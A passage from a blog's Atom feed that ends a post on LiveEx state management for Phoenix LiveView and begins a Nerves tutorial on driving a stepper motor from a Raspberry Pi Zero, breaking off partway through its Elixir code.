&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To change your state, simply call the &lt;code&gt;dispatch/3&lt;/code&gt; function with the &lt;strong&gt;type&lt;/strong&gt;, (optional) payload, and &lt;code&gt;LiveView.Socket&lt;/code&gt; and let LiveEx do its magic.&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;add&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;to_add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;to_integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Store&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;dispatch&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;add&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to_add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;dispatch/3&lt;/code&gt; call will create and commit an action, change the state, and update the state of your &lt;code&gt;LiveView.Socket&lt;/code&gt; automagically!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#debugging&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;debugging&quot;&gt;&lt;/a&gt;Debugging&lt;/h2&gt;
&lt;p&gt;Now that we send every state change through the dispatcher, it becomes trivial to log the state changes. Hence, if you set your &lt;code&gt;Logger&lt;/code&gt; to &lt;code&gt;debug&lt;/code&gt;, you will see how your actions are changing the state. Here is an example from the console:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;debug&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;LiveEx&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Action:&lt;/span&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;add&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Payload:&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;Before:&lt;/span&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;2,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;b:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;c:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;true,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;d:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;nil,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nil,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;After:&lt;/span&gt;   &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;a:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;5,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;b:&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;c:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;true,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;d:&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;nil,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nil,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;LiveEx will hopefully help you to develop middle to larger frontends. It is not yet battle-tested, nor optimized. It will change dramatically once the LiveView team implements support for prepending and appending data since then each store state can be kept in a dedicated socket assignment. More on this &lt;a href=&quot;https://github.com/PJUllrich/live_ex/issues/4&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you want to help to make state management with LiveView easier, your help and feedback are most welcome and best handed in on the &lt;a href=&quot;https://github.com/PJUllrich/live_ex&quot;&gt;LiveEx GitHub page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For further information, please check out the &lt;a href=&quot;https://github.com/PJUllrich/live_ex_example&quot;&gt;LiveEx Example Repository&lt;/a&gt;.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/state-management-with-phoenix-live-view"/>
    <id>https://peterullrich.com/state-management-with-phoenix-live-view</id>
    <title>State Management with Phoenix LiveView and LiveEx</title>
    <updated>2019-07-31T11:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Writing code is fun, but nothing tops seeing your code moving things in the real world. That’s why I tested out the &lt;a href=&quot;https://nerves-project.org/&quot;&gt;Nerves&lt;/a&gt; library and used $20 of Raspberry Pi utensils to let software wave a flag for me.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/jterXt63tYM?si=-1N1--OiuE7q_brz&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-hardware&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-hardware&quot;&gt;&lt;/a&gt;The Hardware&lt;/h2&gt;
&lt;p&gt;For this project, I used the following hardware:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Raspberry Pi Zero W&lt;/li&gt;
&lt;li&gt;28BYJ-48 5v Stepper Motor with ULN2003 Board&lt;/li&gt;
&lt;li&gt;16GB microSD Card&lt;/li&gt;
&lt;li&gt;A flag&lt;/li&gt;
&lt;li&gt;Some cables&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-wiring&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-wiring&quot;&gt;&lt;/a&gt;The Wiring&lt;/h2&gt;
&lt;p&gt;Here’s an overview of how to connect the ULN2003 to the Raspberry Pi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/rotate_a_flag_with_nerves/pic_1.png&quot; alt=&quot;Wiring of ULN2003 Board to Raspberry Pi Zero W&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After you connect the ULN2003 Board to the Pi, connect the Stepper Motor to the ULN2003 and the Pi to your Computer. &lt;strong&gt;IMPORTANT&lt;/strong&gt;: Connect the Pi to your Computer using the USB port and &lt;strong&gt;not&lt;/strong&gt; the PWR port. Otherwise, you will not be able to transfer or execute code from your Computer on the Pi.&lt;/p&gt;
&lt;p&gt;Also, make sure to connect the wires properly. The LEDs on the ULN2003 Board should glow red once you start the stepper motor.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#setting-up-the-project&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;setting-up-the-project&quot;&gt;&lt;/a&gt;Setting up the Project&lt;/h2&gt;
&lt;p&gt;You can find the full code on GitHub. Here’s how you set up the project from scratch.&lt;br /&gt;
If you haven’t already, first install the Nerves dependencies for your operating system&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;# On macOS, run:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;brew update
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;brew install fwup squashfs coreutils xz
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;# On Linux, run:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;sudo apt install build-essential automake \
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;     autoconf git squashfs-tools ssh-askpass
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then install the Nerves Bootstrap library&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;archive.install&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;hex&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nerves_bootstrap&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, create a new Nerves project and install its dependencies&lt;br /&gt;
with&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nerves.new&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;move_it&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;cd&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;move_it&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the circuits_gpio dependency to your mix.exs file&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:circuits_gpio&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.4.1&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Install the dependencies with&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_TARGET&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;rpi0&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deps.get&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should now have a fully set up project. As a last step, enable the logger by changing the &lt;code&gt;rootfs_overlay/etc/iex.exs&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;RingLogger&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:logger&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:backends&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  ...
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;RingLogger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;attach&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Add this line&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-code&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-code&quot;&gt;&lt;/a&gt;The Code&lt;/h2&gt;
&lt;p&gt;Open the &lt;code&gt;lib/move_it/move_it.ex&lt;/code&gt; file and fill it with the following code:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MoveIt&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;moduledoc&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  Documentation for MoveIt.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Circuits.GPIO&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;pins &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;13&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;26&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;start&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;pins&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Enum&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;reduce&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;pins&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;pin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;acc&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Starting pin &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pin&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; as output&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
